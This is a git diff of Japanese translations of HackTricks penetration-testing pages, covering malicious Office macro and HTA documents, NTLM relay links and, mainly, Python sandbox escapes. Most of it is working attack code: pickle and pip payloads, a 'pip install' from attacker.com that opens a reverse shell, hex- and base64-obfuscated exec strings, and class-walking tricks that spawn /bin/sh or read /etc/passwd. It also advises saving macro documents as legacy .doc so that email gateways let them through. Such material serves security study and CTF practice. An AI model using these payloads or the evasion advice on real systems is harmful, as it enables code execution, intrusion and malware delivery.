#### メタデータの手動削除 -**ファイル > 情報 > ドキュメントの検査 > ドキュメントの検査** に移動し、Document Inspector が表示されます。**検査** をクリックし、**ドキュメントのプロパティと個人情報** の隣にある **すべて削除** をクリックします。 +**ファイル > 情報 > ドキュメントの検査 > ドキュメントの検査** に移動し、これによりドキュメントインスペクターが表示されます。 **検査** をクリックし、**ドキュメントのプロパティと個人情報** の隣にある **すべて削除** をクリックします。 #### ドキュメントの拡張子 -作業が完了したら、**保存形式** ドロップダウンから、**`.docx`** から **Word 97-2003 `.doc`** に形式を変更します。\ -これは、**マクロを `.docx` 内に保存できない** ためです。また、マクロが有効化された **`.docm`** 拡張子には **スティグマ** があります(たとえば、サムネイルアイコンには大きな `!` が表示され、一部のウェブ/メールゲートウェイが完全にブロックします)。そのため、この **レガシーの `.doc` 拡張子が最良の妥協策** です。 +作業が完了したら、**保存形式** ドロップダウンを選択し、形式を **`.docx`** から **Word 97-2003 `.doc`** に変更します。\ +これは、**マクロを `.docx` 内に保存できない** ためです。また、マクロ有効化の **`.docm`** 拡張子には **スティグマ** があります(たとえば、サムネイルアイコンには大きな `!` が表示され、一部のウェブ/メールゲートウェイが完全にブロックします)。そのため、この **レガシーの `.doc` 拡張子が最良の妥協策** です。 #### 悪意のあるマクロ生成ツール @@ -89,9 +89,9 @@ proc.Create "powershell ## HTA ファイル -HTA は、**HTML と VBScript、JScript などのスクリプト言語を組み合わせた Windows プログラム** です。これは、ブラウザのセキュリティモデルの制約なしに **"完全に信頼された" アプリケーションとして実行** されるユーザーインターフェースを生成します。 +HTA は、HTML と VBScript、JScript などのスクリプト言語を **組み合わせた Windows プログラム** です。これは、ブラウザのセキュリティモデルの制約なしに **"完全に信頼された" アプリケーションとして実行** され、ユーザーインターフェースを生成します。 -HTA は **`mshta.exe`** を使用して実行され、通常は **Internet Explorer と一緒にインストール** されるため、**`mshta` は IE に依存** しています。したがって、IE がアンインストールされている場合、HTA は実行できません。 +HTA は **`mshta.exe`** を使用して実行され、通常は **Internet Explorer と一緒にインストール** されるため、**`mshta` は IE に依存** しています。したがって、IE がアンインストールされている場合、HTA は実行できなくなります。 ```html <--! Basic HTA Execution --> @@ -162,19 +162,19 @@ self.close ### NTLMリレー -ハッシュや認証情報を盗むだけでなく、**NTLMリレーアタックも実行**できることを忘れないでください: +ハッシュや認証情報だけでなく、**NTLMリレーアタックも実行**できることを忘れないでください: * [**NTLMリレーアタック**](../pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#ntml-relay-attack) * [**AD CS ESC8(証明書へのNTLMリレー)**](../../windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md#ntlm-relay-to-ad-cs-http-endpoints-esc8)
-ゼロからヒーローまでのAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)! +ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)! -* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションを見つけてください * [**公式PEASS&HackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう -* **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[Telegramグループ](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出して、あなたのハッキングトリックを共有してください。 +* **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[Telegramグループ](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **ハッキングトリックを共有するために、**[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **と**[**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
diff --git a/generic-methodologies-and-resources/python/README.md b/generic-methodologies-and-resources/python/README.md index 1c3372656..b2bbd8d5d 100644 --- a/generic-methodologies-and-resources/python/README.md +++ b/generic-methodologies-and-resources/python/README.md @@ -1,4 +1,4 @@ -# Pythonサンドボックス脱出&Pyscript +# Python Sandbox Escape & Pyscript
@@ -6,35 +6,35 @@ HackTricksをサポートする他の方法: -- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください! -- [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する -- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクション -- 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)で**フォロー**する -- **ハッキングトリックを共有するには、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。 +* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合**は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクション +* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)を**フォロー**する。 +* **ハッキングトリックを共有するには、** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
-
+
\ [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\ -今すぐアクセス: +今すぐアクセスしてください: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} **チェックする興味深いページ:** -- [**Pyscriptハッキングトリック**](pyscript.md) -- [**Pythonデシリアライゼーション**](../../pentesting-web/deserialization/#python) -- [**Pythonサンドボックスをバイパスするトリック**](bypass-python-sandboxes/) -- [**基本的なPythonウェブリクエスト構文**](web-requests.md) -- [**基本的なPython構文とライブラリ**](basic-python.md) +* [**Pyscriptハッキングトリック**](pyscript.md) +* [**Pythonデシリアライゼーション**](../../pentesting-web/deserialization/#python) +* [**Pythonサンドボックスをバイパスするトリック**](bypass-python-sandboxes/) +* [**基本的なPythonウェブリクエスト構文**](web-requests.md) +* [**基本的なPython構文とライブラリ**](basic-python.md) -
+
\ [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\ -今すぐアクセス: +今すぐアクセスしてください: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} @@ -44,10 +44,10 @@ HackTricksをサポートする他の方法: HackTricksをサポートする他の方法: -- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください! -- [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する -- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクション -- 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)で**フォロー**する -- **ハッキングトリックを共有するには、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。 +* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合**は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクション +* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)を**フォロー**する。 +* **ハッキングトリックを共有するには、** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。 diff --git a/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md b/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md index f79363530..229e3e45c 100644 --- a/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md +++ b/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md @@ -1,4 +1,4 @@ -# Bypass Python sandboxes +# Pythonサンドボックスのバイパス
@@ -6,11 +6,11 @@ HackTricksをサポートする他の方法: -* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける -* **💬** [**Discordグループ**](https://discord.gg/hRep4RUj7f)**または**[**telegramグループ**](https://t.me/peass)**に**参加**するか、Twitter 🐦** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**を**フォロー\*\*する -* **ハッキングトリックを共有するために、**[**HackTricks**](https://github.com/carlospolop/hacktricks)**と**[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)**のGitHubリポジトリにPRを提出する** +- **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +- [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手する +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける +- **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)を**フォロー**する。 +- **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **と** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
@@ -22,12 +22,11 @@ HackTricksをサポートする他の方法: *** -これはPythonサンドボックス保護をバイパスし、任意のコマンドを実行するためのいくつかのトリックです。 +これらはPythonサンドボックス保護をバイパスし、任意のコマンドを実行するためのトリックです。 ## コマンド実行ライブラリ -最初に知るべきことは、すでにインポートされたライブラリでコードを直接実行できるか、またはこれらのライブラリのいずれかをインポートできるかです。 - +最初に知るべきことは、すでにインポートされたライブラリでコードを直接実行できるか、またはこれらのライブラリのいずれかをインポートできるかどうかです。 ```python os.system("ls") os.popen("ls").read() @@ -60,7 +59,6 @@ open('/var/www/html/input', 'w').write('123') execfile('/usr/lib/python2.7/os.py') system('ls') ``` - Remember that the _**open**_ and _**read**_ functions can be useful to **read files** inside the python sandbox and to **write some code** that you could **execute** to **bypass** the sandbox. {% hint style="danger" %} @@ -69,16 +67,15 @@ Remember that the _**open**_ and _**read**_ functions can be useful to **read fi Python try to **load libraries from the current directory first** (the following command will print where is python loading modules from): `python3 -c 'import sys; print(sys.path)'` -![](<../../../.gitbook/assets/image (552).png>) +![](<../../../.gitbook/assets/image (559).png>) ## デフォルトでインストールされているPythonパッケージを使用してpickleサンドボックスをバイパスする ### デフォルトのパッケージ -ここで**事前にインストールされた**パッケージのリストを見つけることができます: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\ -pickleからは、システムにインストールされている**任意のライブラリをインポート**することができます。\ +こちらで**事前にインストールされた**パッケージのリストを見つけることができます: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\ +pickleからは、システムにインストールされた**任意のライブラリをインポート**することができます。\ たとえば、次のpickleは、ロードされるとpipライブラリをインポートして使用します: - ```python #Note that here we are importing the pip library so the pickle is created correctly #however, the victim doesn't even need to have the library installed to execute it @@ -91,7 +88,6 @@ return (pip.main,(["list"],)) print(base64.b64encode(pickle.dumps(P(), protocol=0))) ``` - 以下は、pickleの動作に関する詳細情報については、[https://checkoway.net/musings/pickle/](https://checkoway.net/musings/pickle/)を参照してください。 ### Pip パッケージ @@ -99,18 +95,16 @@ print(base64.b64encode(pickle.dumps(P(), protocol=0))) **@isHaacK** によって共有されたトリック `pip`または`pip.main()`にアクセス権がある場合、任意のパッケージをインストールし、次のように逆シェルを取得できます。 - ```bash pip install http://attacker.com/Rerverse.tar.gz pip.main(["install", "http://attacker.com/Rerverse.tar.gz"]) ``` +以下のリンクから逆シェルを作成するためのパッケージをダウンロードできます。使用する前に、**それを展開し、`setup.py`を変更し、逆シェル用のIPを入力してください**: -パッケージをダウンロードしてリバースシェルを作成できます。使用する前に、**それを解凍し、`setup.py`を変更し、リバースシェル用のIPを入力してください**: - -{% file src="../../../.gitbook/assets/reverse.tar.gz" %} +{% file src="../../../.gitbook/assets/Reverse.tar (1).gz" %} {% hint style="info" %} -このパッケージは`Reverse`と呼ばれます。ただし、リバースシェルを終了するとインストールの残りが失敗するように特別に作成されています。したがって、**サーバーに余分なPythonパッケージがインストールされることはありません**。 +このパッケージは`Reverse`と呼ばれます。ただし、逆シェルを終了するとインストールの残りが失敗するように特別に作成されています。したがって、サーバーに**余分なPythonパッケージがインストールされることはありません**。 {% endhint %} ## Pythonコードの評価 @@ -119,8 +113,7 @@ pip.main(["install", "http://attacker.com/Rerverse.tar.gz"]) execは複数行の文字列と";"を許可しますが、evalは許可しません(ワルラス演算子を確認してください) {% endhint %} -特定の文字が禁止されている場合は、**hex/octal/B64**表現を使用して制限を**バイパス**できます。 - +特定の文字が禁止されている場合は、**16進数/8進数/B64**表現を使用して制限を**バイパス**できます。 ```python exec("print('RCE'); __import__('os').system('ls')") #Using ";" exec("print('RCE')\n__import__('os').system('ls')") #Using "\n" @@ -141,9 +134,7 @@ exec("\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x exec('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='.decode("base64")) #Only python2 exec(__import__('base64').b64decode('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk=')) ``` - -### Pythonコードを評価することを可能にする他のライブラリ - +### Pythonコードを評価する他のライブラリ ```python #Pandas import pandas as pd @@ -157,9 +148,7 @@ df.query("@pd.read_pickle('http://0.0.0.0:6334/output.exploit')") # Like: df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']('print(1)')") ``` - ## 演算子とショートトリック - ```python # walrus operator allows generating variable inside a list ## everything will be executed in order @@ -168,11 +157,9 @@ df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval'] [y:=().__class__.__base__.__subclasses__()[84]().load_module('builtins'),y.__import__('signal').alarm(0), y.exec("import\x20os,sys\nclass\x20X:\n\tdef\x20__del__(self):os.system('/bin/sh')\n\nsys.modules['pwnd']=X()\nsys.exit()", {"__builtins__":y.__dict__})] ## This is very useful for code injected inside "eval" as it doesn't support multiple lines or ";" ``` - ## エンコーディング(UTF-7)を通じた保護のバイパス [**この解説**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy)では、UFT-7が使用され、明らかなサンドボックス内で任意のPythonコードをロードおよび実行します。 - ```python assert b"+AAo-".decode("utf_7") == "\n" @@ -183,15 +170,13 @@ return x #+AAo-print(open("/flag.txt").read()) """.lstrip() ``` - また、他のエンコーディングを使用してバイパスすることも可能です。例:`raw_unicode_escape`および`unicode_escape`。 ## 呼び出しを使用せずにPythonを実行する -**呼び出しを行うことを許可しない**Pythonの監獄内にいる場合、**任意の関数、コード、およびコマンドを実行**するためのいくつかの方法がまだあります。 +**コールを許可しない**Pythonジェイル内にいる場合、**任意の関数、コード**、および**コマンドを実行**する方法がいくつかあります。 ### [デコレータ](https://docs.python.org/3/glossary.html#term-decorator)を使用したRCE - ```python # From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ @exec @@ -213,15 +198,13 @@ X = exec(X) @'__import__("os").system("sh")'.format class _:pass ``` - ### RCEオブジェクトの作成とオーバーロード -もし、**クラスを宣言**し、そのクラスの**オブジェクトを作成**できるなら、**異なるメソッドを書き換え**て、それらを**直接呼び出す必要なしにトリガー**できます。 +もし、**クラスを宣言**し、そのクラスの**オブジェクトを作成**できるなら、**異なるメソッドを書き換え**、それらを**直接呼び出す必要なしにトリガー**できます。 #### カスタムクラスによるRCE -いくつかの**クラスメソッド**を変更して(既存のクラスメソッドを上書きするか新しいクラスを作成することで)、それらを**直接呼び出さずにトリガー**されたときに**任意のコードを実行**させることができます。 - +いくつかの**クラスメソッド**を変更することができます(既存のクラスメソッドを上書きするか、新しいクラスを作成することで)これにより、それらを**直接呼び出すことなくトリガー**された時に**任意のコードを実行**させることができます。 ```python # This class has 3 different ways to trigger RCE without directly calling any function class RCE: @@ -271,11 +254,9 @@ __iand__ (k = 'import os; os.system("sh")') __ior__ (k |= 'import os; os.system("sh")') __ixor__ (k ^= 'import os; os.system("sh")') ``` - #### [メタクラス](https://docs.python.org/3/reference/datamodel.html#metaclasses)を使用してオブジェクトを作成する -メタクラスが許可する主要なことは、**コンストラクタを直接呼び出さずに、ターゲットクラスをメタクラスとして新しいクラスを作成することで、クラスのインスタンスを作成する**ことです。 - +メタクラスが許可する主要なことは、**コンストラクタを直接呼び出さずに、ターゲットクラスをメタクラスとして持つ新しいクラスを作成することで、クラスのインスタンスを作成する**ことです。 ```python # Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed # This will define the members of the "subclass" @@ -290,11 +271,9 @@ Sub['import os; os.system("sh")'] ## You can also use the tricks from the previous section to get RCE with this object ``` - #### 例外を使用してオブジェクトを作成する -**例外が発生すると**、**Exception**のオブジェクトが直接コンストラクタを呼び出さなくても**作成されます**([**@\_nag0mez**](https://mobile.twitter.com/\_nag0mez)**のトリック**から)。 - +**例外が発生すると**、**Exception**のオブジェクトが直接コンストラクタを呼び出さなくても**作成されます**([**@\_nag0mez**](https://mobile.twitter.com/\_nag0mez)**のテクニックからのトリック**): ```python class RCE(Exception): def __init__(self): @@ -314,9 +293,7 @@ k + 'import os; os.system("sh")' #RCE abusing __add__ ## You can also use the tricks from the previous section to get RCE with this object ``` - ### より多くのRCE - ```python # From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ # If sys is imported, you can sys.excepthook and trigger it by triggering an error @@ -338,9 +315,7 @@ __iadd__ = eval __builtins__.__import__ = X {}[1337] ``` - ### 組み込みヘルプとライセンスを使用してファイルを読む - ```python __builtins__.__dict__["license"]._Printer__filenames=["flag"] a = __builtins__.help @@ -349,28 +324,24 @@ a.__class__.__exit__ = lambda self, *args: None with (a as b): pass ``` - ## 組み込み関数 * [**Python2の組み込み関数**](https://docs.python.org/2/library/functions.html) * [**Python3の組み込み関数**](https://docs.python.org/3/library/functions.html) もし **`__builtins__`** オブジェクトにアクセスできる場合、ライブラリをインポートすることができます(最後のセクションで示されている他の文字列表現を使用することもできます)。 - ```python __builtins__.__import__("os").system("ls") __builtins__.__dict__['__import__']("os").system("ls") ``` +### ビルトインなし -### 組み込み関数なし +`__builtins__` がない場合、**すべてのグローバル関数**(`open`、`import`、`print`など)**がロードされていないため**、何もインポートしたりファイルを読み書きしたりすることはできません。\ +ただし、**デフォルトではPythonは多くのモジュールをメモリにインポートします**。これらのモジュールは無害に見えるかもしれませんが、**中には危険な機能をインポートしているものもあり**、これらにアクセスして**任意のコードを実行**することができます。 -`__builtins__` がない場合、**すべてのグローバル関数**(`open`、`import`、`print`など)が**ロードされていない**ため、何もインポートしたりファイルを読み書きしたりすることはできません。\ -ただし、**デフォルトではPythonは多くのモジュールをメモリにインポート**します。これらのモジュールは無害に見えるかもしれませんが、その中には**危険な機能をインポート**しているものもあり、これらにアクセスして**任意のコードを実行**することができます。 - -以下の例では、これらの「**無害**」モジュールの一部を**悪用**して、それらの中にある**危険な機能**に**アクセス**する方法を示しています。 +以下の例では、**"無害"** とされるこれらのモジュールを**乱用**して、それらの中にある**危険な機能**に**アクセス**する方法を示しています。 **Python2** - ```python #Try to reload __builtins__ reload(__builtins__) @@ -391,11 +362,9 @@ import __builtin__ # Or you could obtain the builtins from a defined function get_flag.__globals__['__builtins__']['__import__']("os").system("ls") ``` - #### Python3 Python3をバイパスするための一般的な方法論とリソース - ```python # Obtain builtins from a globally defined function # https://docs.python.org/3/library/functions.html @@ -414,19 +383,15 @@ get_flag.__globals__['__builtins__'] # Get builtins from loaded classes [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"] ``` - -[**以下には、**](./#recursive-search-of-builtins-globals) **ビルトイン**を見つけることができる**場所**が**数十**/**数百**あります。 +[**以下には、より大きな関数があります**](./#recursive-search-of-builtins-globals)。ここでは、**組み込み関数**を見つけることができる**数十**/**数百の場所**があります。 #### Python2とPython3 - ```python # Recover __builtins__ and make everything easier __builtins__= [x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__ __builtins__["__import__"]('os').system('ls') ``` - ### 組み込みペイロード - ```python # Possible payloads once you have found the builtins __builtins__["open"]("/etc/passwd").read() @@ -434,11 +399,9 @@ __builtins__["__import__"]("os").system("ls") # There are lots of other payloads that can be abused to execute commands # See them below ``` - ## グローバル変数とローカル変数 -\*\*`globals`**と**`locals`\*\*をチェックすることは、アクセスできるものを知る良い方法です。 - +**`globals`**と**`locals`**をチェックすることは、アクセスできるものを知る良い方法です。 ```python >>> globals() {'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': , '__spec__': None, '__annotations__': {}, '__builtins__': , 'attr': , 'a': , 'b': , 'c': , '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', , 1): True}, 'z': } @@ -462,17 +425,15 @@ class_obj.__init__.__globals__ [ x for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__)] [, , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , ] ``` - -[**以下には、より大きな関数**](./#recursive-search-of-builtins-globals)があります。ここでは、**数十**/**数百**の**場所**で**グローバル変数**を見つけることができます。 +[**以下には、より大きな関数があります**](./#recursive-search-of-builtins-globals)、**グローバル変数を見つける**ことができる**場所**が**数十**/**数百**あります。 ## 任意の実行の発見 -ここでは、簡単に**より危険な機能を発見**し、より信頼性の高いエクスプロイトを提案する方法を説明したいと思います。 +ここでは、**より危険な機能を簡単に発見**し、より信頼性の高いエクスプロイトを提案する方法を説明したいと思います。 #### バイパスを使用してサブクラスにアクセスする -このテクニックの最も敏感な部分の1つは、**基本のサブクラスにアクセスできること**です。前の例では、`''.__class__.__base__.__subclasses__()`を使用してこれを行いましたが、**他の可能な方法**もあります。 - +このテクニックの最も重要な部分の1つは、**基本のサブクラスにアクセスできること**です。以前の例では、`''.__class__.__base__.__subclasses__()`を使用してこれを行いましたが、**他の可能な方法**もあります。 ```python #You can access the base from mostly anywhere (in regular conditions) "".__class__.__base__.__subclasses__() @@ -500,24 +461,18 @@ defined_func.__class__.__base__.__subclasses__() (''|attr('__class__')|attr('__mro__')|attr('__getitem__')(1)|attr('__subclasses__')()|attr('__getitem__')(132)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen'))('cat+flag.txt').read() (''|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fmro\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')(1)|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(132)|attr('\x5f\x5finit\x5f\x5f')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('popen'))('cat+flag.txt').read() ``` - ### 危険なライブラリの検出 -例えば、ライブラリ\*\*`sys`**を使用して**任意のライブラリをインポート\*\*できることを知っている場合、**それらの中でsysをインポートしたすべてのモジュール**を検索できます: - +例えば、ライブラリ**`sys`**を使用して**任意のライブラリをインポート**できることを知っている場合、**それらの中でsysをインポートしているすべてのモジュール**を検索できます: ```python [ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ] ['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations'] ``` - -多くの方法がありますが、**実行するだけでいい**ものが必要です: - +多くの方法がありますが、**コマンドを実行するために必要なのは1つだけ**です: ```python [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls") ``` - 私たちは、**他のライブラリ**を使用して同じことができます。これらのライブラリは、**コマンドを実行**するために使用できることがわかっています。 - ```python #os [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" in x.__init__.__globals__ ][0]["os"].system("ls") @@ -552,9 +507,7 @@ defined_func.__class__.__base__.__subclasses__() #pdb [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pdb" in x.__init__.__globals__ ][0]["pdb"].os.system("ls") ``` - -さらに、悪意のあるライブラリをロードしているモジュールを検索することさえできます: - +さらに、悪意のあるライブラリを読み込んでいるモジュールを検索することさえできます: ```python bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"] for b in bad_libraries_names: @@ -573,9 +526,7 @@ builtins: FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, IncrementalE pdb: """ ``` - -さらに、他のライブラリがコマンドを実行するための関数を呼び出す可能性があると考える場合、可能なライブラリ内の関数名でフィルタリングすることもできます: - +さらに、もし他のライブラリがコマンドを実行するための関数を呼び出す可能性があると考える場合、可能なライブラリ内の関数名でフィルタリングすることもできます: ```python bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"] bad_func_names = ["system", "popen", "getstatusoutput", "getoutput", "call", "Popen", "spawn", "import_module", "__import__", "load_source", "execfile", "execute", "__builtins__"] @@ -606,14 +557,11 @@ load_source: NullImporter, _HackedGetData execfile: execute: __builtins__: 